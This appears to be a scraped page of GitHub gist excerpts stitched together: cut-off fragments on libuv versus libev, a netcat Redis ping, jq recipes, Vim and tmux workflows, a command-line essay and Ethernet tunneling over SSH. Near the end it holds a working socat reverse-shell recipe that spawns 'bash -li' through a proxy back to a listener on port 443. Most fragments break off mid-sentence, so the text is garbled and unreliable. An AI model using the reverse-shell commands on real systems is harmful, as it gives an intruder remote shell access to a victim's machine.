Cihat Altuntaş caltuntas

Libuv and libev, two I/O libraries with similar names, recently had the privilege to use both libraries to write something. Now let's talk about my own subjective expression of common and different points.

The topic of high-performance network programming has been discussed. Asynchronous, asynchronous, or asynchronous. Whether it is epoll or kqueue, it is always indispensable to the asynchronous topic.

Libuv is asynchronous, and libev is synchronous multiplexing IO multiplexing.

Libev is a simple encapsulation of system I/O reuse. Basically, it solves the problem of different APIs between epoll and kqueuq. Ensure that programs written using livev's API can run on most *nix platforms. However, the disadvantages of libev are also obvious. Because it basically just encapsulates the Event Library, it is inconvenient to use. For example, accept(3) requires manual setnonblocking after connection. EAGAIN, EWOULDBLOCK, and EINTER need to be detected when reading from a socket. This is a

Test connection to Redis with netcat

echo -e '*1\r\n$4\r\nPING\r\n' | nc redis.host.com 6379

or delicacies too choice for the manual.

TOC

Find the maximal elements of an array or stream
Using jq as a template engine
Emit the ids of JSON objects in a Riak database
Filter objects based on the contents of a key
Filter objects based on tags in an array
Find the most recent object in an S3 bucket
Sort by numeric values extracted from text

FOREWORDS

I don't mean the snippet at the bottom of this gist to be a generic plug-n-play solution to your search needs. It is very likely to not work for you or even break things, and it certainly is not as extensively tested and genericised as your regular third-party plugin.

My goal, here and in most of my posts, is to show how Vim's features can be leveraged to build your own high-level, low-maintenance, workflows without systematically jumping on the plugins bandwagon or twisting Vim's arm.

Instant grep + quickfix

I write javascript code. I use CLI for everything I can and Chrome debug tools for everything else. I write code in cli vim, under tmux session.

I normally have tmux sessions (one per project) so I can quickly switch between them without closing/opening new terminal windows, cd'ing, etc.

I also have some automation that allows me to run particular tests from within vim such that it runs in a separate (designated to tests) tmux window.

I really love my setup (even though, at this point, it's probably more out of habit than anything else) and I don't want anything else.

But. The other day I've been pairing with my mate Josh and he kept doing this one thing over and over again and it was such a basic thing, yet such powerful thing at the same time, that I could feel my perfect cli world shaking.

Life on the Command Line

Stephen Ramsay - Sat, 04/09/2011 - 19:49

A few weeks ago, I realized that I no longer use graphical applications.

That’s right. I don’t do anything with GUI apps anymore, except surf the Web. And what’s interesting about that, is that I rarely use cloudy, AJAXy replacements for desktop applications. Just about everything I do, I do exclusively on the command line. And I do what everyone else does: manage email, write things, listen to music, manage my todo list, keep track of my schedule, and chat with people. I also do a few things that most people don’t do: including write software, analyze data, and keep track of students and their grades. But whatever the case, I do all of it on the lowly command line. I literally go for months without opening a single graphical desktop application. In fact, I don’t — strictly speaking — have a desktop on my computer.

I think this is a wonderful way to wor

Tunneling Ethernet Over SSH With Socat and Tap Devices

There are circumstances where one wants to attach the local machine to the same layer 2 ethernet segment, which a remote machine is connected to, with the only available transport being SSH.

While this solution has quite some shortcomings and should not be used to replace a real VPN, it can be beneficial e.g. for debugging network issues remotely.

Super Guide to the `split-window` tmux Subcommand (and Beyond)

Guide overview

tmux, like other great software, is deceptive. On the one hand, it's fairly easy to get set up and start using right away. On the other hand, it's difficult to take advantage of tmux's adanced features without spending some quality alone time with the manual. But the problem with manuals is that they aren't geared toward beginners. They are geared toward helping seasoned developers and computer enthusiasts quickly obtain the

	# Listener on x.x.x.x:443:

	socat file:`tty`,raw,echo=0 tcp-listen:443

	# Reverse shell proxy server is at 10.10.10.1:8222:

	socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
	socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"

	Overview
	========

	This is a set of notes I kept resulting in development of a terraform module wrapper to configure windows DNS.

	(Original gist location: https://gist.github.com/1de3be6a95400bce427008e04e53e26f)


	Objective:
	=========